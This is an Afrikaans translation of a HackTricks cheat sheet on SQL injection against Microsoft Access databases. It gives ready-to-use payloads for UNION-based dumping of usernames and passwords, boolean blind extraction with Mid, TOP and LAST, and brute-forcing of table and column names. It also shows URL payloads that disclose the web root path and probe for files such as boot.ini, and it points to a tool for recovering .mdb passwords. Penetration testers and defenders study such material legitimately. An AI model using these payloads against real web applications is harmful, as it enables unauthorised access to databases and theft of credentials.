MS Access SQL Injection

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Aanlyn-speelplek

DB Beperkings

String-konkatenasie

String-konkatenasie is moontlik met die karakters & (%26) en + (%2b).

1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00

Kommentaar

Daar is geen kommentaar in MS Access nie, maar dit is blykbaar moontlik om die laaste deel van 'n navraag te verwyder met 'n NULL-teken:

1' union select 1,2 from table%00

As dit nie werk nie, kan jy altyd die sintaks van die navraag regmaak:

1' UNION SELECT 1,2 FROM table WHERE ''='

Gestapelde Navrae

Hulle word nie ondersteun nie.

LIMIT

Die LIMIT-operateur is nie geïmplementeer nie. Dit is egter moontlik om die resultate van 'n SELECT-navraag te beperk tot die eerste N-tabelrye deur die TOP-operateur te gebruik. TOP aanvaar 'n heelgetal as argument wat die aantal terug te gee ryë verteenwoordig.

1' UNION SELECT TOP 3 attr FROM table%00

Net soos TOP kan jy LAST gebruik wat die rye van die einde sal kry.

UNION Navrae/Subnavrae

In 'n SQLi wil jy gewoonlik 'n nuwe navraag uitvoer om inligting uit ander tabelle te onttrek. MS Access vereis altyd dat in subnavrae of ekstra navrae 'n FROM aangedui word. Dus, as jy 'n UNION SELECT of UNION ALL SELECT of 'n SELECT tussen hakies in 'n voorwaarde wil uitvoer, moet jy altyd 'n FROM met 'n geldige tabelnaam aandui. Daarom moet jy 'n geldige tabelnaam weet.

-1' UNION SELECT username,password from users%00

Ketting van gelykheid + Substring

Dit sal jou in staat stel om waardes van die huidige tabel uit te voer sonder om die naam van die tabel te weet.

MS Access maak gebruik van vreemde sintaksis soos '1'=2='3'='asd'=false. Aangesien die SQL-injectie gewoonlik binne 'n WHERE klousule sal wees, kan ons dit misbruik.

Stel jou voor jy het 'n SQLi in 'n MS Access databasis en jy weet (of het geradeer) dat een kolomnaam username is, en dit is die veld wat jy wil uitvoer. Jy kan die verskillende reaksies van die webtoepassing nagaan wanneer die ketting van gelykheidstegniek gebruik word en potensieel inhoud uitvoer met 'n boolean-injectie deur die Mid-funksie te gebruik om substrings te kry.

'=(Mid(username,1,3)='adm')='

As jy die naam van die tabel en kolom wat jy wil dump ken, kan jy 'n kombinasie van Mid, LAST en TOP gebruik om alle inligting te lek deur middel van boolean SQLi:

'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='

Voel vry om dit in die aanlyn speelgrond te kontroleer.

Brute-forcing Tabelname

Met behulp van die ketting-ewekansige tegniek kan jy ook tabelname bruteforce met iets soos:

'=(select+top+1+'lala'+from+<table_name>)='

Jy kan ook 'n meer tradisionele metode gebruik:

-1' AND (SELECT TOP 1 <table_name>)%00

Voel vry om dit in die aanlyn speelgrond te kontroleer.

Brute-Forcing Kolomname

Jy kan brute-force huidige kolomname met die kettinggelykheidstruuk met:

'=column_name='

Of met 'n groep deur:

-1' GROUP BY column_name%00

Of jy kan die kolomname van 'n verskillende tabel met brute force aanval:

'=(SELECT TOP 1 column_name FROM valid_table_name)='

-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00

Data dump

Ons het reeds die ketting gelykheidstegniek bespreek om data uit die huidige en ander tabelle te dump. Maar daar is ander maniere:

IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')

In 'n neutedop gebruik die navraag 'n "as-dan" verklaring om 'n "200 OK" te veroorsaak in geval van sukses of 'n "500 Internal Error" andersins. Deur gebruik te maak van die TOP 10-operator, is dit moontlik om die eerste tien resultate te kies. Die daaropvolgende gebruik van LAST maak dit moontlik om slegs die 10de tuple te oorweeg. Op sulke waarde, deur die gebruik van die MID-operator, is dit moontlik om 'n eenvoudige karaktervergelyking uit te voer. Deur die indeks van MID en TOP behoorlik te verander, kan ons die inhoud van die "gebruikersnaam" veld vir alle rye dump.

Tyd-gebaseerd

Kyk https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN

Ander interessante funksies

  • Mid('admin',1,1) kry substring vanaf posisie 1 lengte 1 (aanvanklike posisie is 1)

  • LEN('1234') kry lengte van string

  • ASC('A') kry ASCII-waarde van karakter

  • CHR(65) kry string vanaf ASCII-waarde

  • IIF(1=1,'a','b') as dan

  • COUNT(*) Tel aantal items

Tabelle optel

Van hier kan jy 'n navraag sien om tabelle name te kry:

select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name

Dit moet egter opgemerk word dat dit baie tipies is om SQL-injeksies te vind waar jy nie toegang het om die tabel MSysObjects te lees nie.

Toegang tot lêerstelsel

Volledige pad van webwortelgids

Die kennis van die absoluut pad van die webwortel kan verdere aanvalle vergemaklik. As die toepassingsfoute nie heeltemal weggesteek is nie, kan die gidspad onthul word deur te probeer om data te selekteer uit 'n nie-bestaande databasis.

http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00

MS Access reageer met 'n foutboodskap wat die volledige gidsnaam van die webgids bevat.

Lêeropnoeming

Die volgende aanvalvektor kan gebruik word om die bestaan van 'n lêer op die afgeleë lêerstelsel te bepaal. As die gespesifiseerde lêer bestaan, veroorsaak MS Access 'n foutboodskap wat aandui dat die databasisformaat ongeldig is:

http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00

'n Ander manier om lêers op te noem, behels die spesifisering van 'n databasis.tabel-item. As die gespesifiseerde lêer bestaan, vertoon MS Access 'n foutboodskap oor die databasisformaat.

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00

Raai van .mdb-lêernaam

Die databasislêernaam (.mdb) kan bepaal word met die volgende navraag:

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00

Waar name[i] 'n .mdb-lêernaam is en realTable 'n bestaande tabel binne die databasis is. Alhoewel MS Access altyd 'n foutboodskap sal veroorsaak, is dit moontlik om te onderskei tussen 'n ongeldige lêernaam en 'n geldige .mdb-lêernaam.

.mdb-wagwoordkraker

Access PassView is 'n gratis hulpmiddel wat gebruik kan word om die hoofdatabasiswagwoord van Microsoft Access 95/97/2000/XP of Jet Database Engine 3.0/4.0 te herstel.

Verwysings

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated